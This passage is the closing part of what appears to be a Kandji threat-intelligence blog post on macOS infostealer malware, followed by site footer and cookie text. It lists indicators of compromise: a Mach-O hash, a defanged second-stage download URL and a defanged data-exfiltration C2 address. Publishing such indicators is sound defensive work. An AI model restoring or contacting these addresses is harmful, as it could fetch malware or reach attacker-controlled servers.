122877b338ec943ac0b33dcedc973aab6db48dd93cd30263255a7e7351ee60e6 (mach-O) * hxxps[:]//cryptomac.dev/download/grabber[.]zip (Stage 2 C2) * hxxp[://]81.19.137[.]179/api/index.php (data exfil C2) LINK TO THIS SECTION ABOUT KANDJI Kandji is the Apple device management and security platform that empowers secure and productive global work. With Kandji, Apple devices transform themselves into enterprise-ready endpoints, with all the right apps, settings, and security systems in place. Through advanced automation and thoughtful experiences, we’re bringing much-needed harmony to the way IT, InfoSec, and Apple device users work today and tomorrow. See Kandji in Action Experience Apple device management and security that actually gives you back your time. Get Started Contact Us See Kandji in Action Experience Apple device management and security that actually gives you back your time. Start Free Trial Contact Us Share Post LinkedIn Facebook Twitter Reddit Print Previous Post Search More Threat Intelligence Dock Tile Plugins Could Be Used to Escalate Privileges DOCK TILE PLUGINS COULD BE USED TO ESCALATE PRIVILEGES How Twitch Helper Can Be Used for Privilege Escalation HOW TWITCH HELPER CAN BE USED FOR PRIVILEGE ESCALATION Update: Cuckoo Malware Evolves UPDATE: CUCKOO MALWARE EVOLVES Related Topics How Twitch Helper Can Be Used for Privilege Escalation HOW TWITCH HELPER CAN BE USED FOR PRIVILEGE ESCALATION CloudChat Infostealer: How It Works, What It Does CLOUDCHAT INFOSTEALER: HOW IT WORKS, WHAT IT DOES Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware MALWARE: CUCKOO BEHAVES LIKE CROSS BETWEEN INFOSTEALER AND SPYWARE Get the latest blog updates in your inbox SUBSCRIBE Email* utm_campaign utm_content utm_medium utm_source utm_term Kandji Blog Email Subscription Logo for AICPA SOC for Service Organizations CONNECT Link to Kandji's Twitter Link to Kandji's Facebook Link to Kandji's LinkedIn COMPANY * About Kandji * Careers * News & Press * Contact * Why Kandji? GET STARTED * Get a Demo * Virtual Demo * Pricing PARTNERS * Resellers * Technology Partners * Become a Partner * Register a Deal * Partner Portal SOLUTIONS * Apple Device Management * Endpoint Detection & Response * Mac Device Management * iOS Device Management * Device Harmony FEATURES * Liftoff * Auto Apps * Assignment Maps * Prism * Passport * Managed OS * Migration * Compliance USE CASES * Zero-Touch Deployment * Security Configurations * Software Management * Integrate with Kandji * iOS and iPadOS RESOURCES * Resources Hub * Blog * Customer Stories * Mac Admins Community * Security Details * Apple MDM Definitions * About Apple MDM * Customer Support * Product Updates * Buyers Guide Kandji logo © Copyright 2024 Kandji, Inc. All Rights Reserved. Kandji, the bee logo and Device Harmony are trademarks of Kandji, Inc. * Privacy Policy * Your Privacy Choices * Accessibility * Legal This website uses cookies and other tracking technologies to enhance user experience and to analyze performance and traffic on our website. We also share information about your use of our site with our social media, advertising and analytics partners. If we have detected an opt-out preference signal then it will be honored. Further information is available in our Accept All Cookies Reject Optional Cookies Manage Privacy Preferences PRIVACY PREFERENCE CENTER When you visit any website, it may store or retrieve information on your browser, mostly in the form of cookies. This information might be about you, your preferences or your device and is mostly used to make the site work as you expect it to. The information does not usually directly identify you, but it can give you a more personalized web experience. Because we respect your right to privacy, you can choose not to allow some types of cookies. Click on the different category headings to find out more and change our default settings. However, blocking some types of cookies may impact your experience of the site and the services we are able to offer. Privacy Policy . Allow All MANAGE CONSENT PREFERENCES STRICTLY NECESSARY COOKIES Always Active These cookies are necessary for the website to function and cannot be switched off in our systems. They are usually only set in response to actions made by you which amount to a request for services, such as setting your privacy preferences, logging in or filling in forms. You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information. FUNCTIONAL COOKIES Always Active These cookies enable the website to provide enhanced functionality and personalisation. They may be set by us or by third party providers whose services we have added to our pages. If you do not allow these cookies then some or all of these services may not function properly. PERFORMANCE COOKIES Performance Cookies These cookies allow us to count visits and traffic sources so we can measure and improve the performance of our site. They help us to know which pages are the most and least popular and see how visitors move around the site. All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies we will not know when you have visited our site, and will not be able to monitor its performance. TARGETING COOKIES Targeting Cookies These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites. They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising. Back Button COOKIE LIST Search Icon Filter Icon Clear checkbox label label Apply Cancel Consent Leg.Interest checkbox label label checkbox label label checkbox label label Reject All Confirm My Choices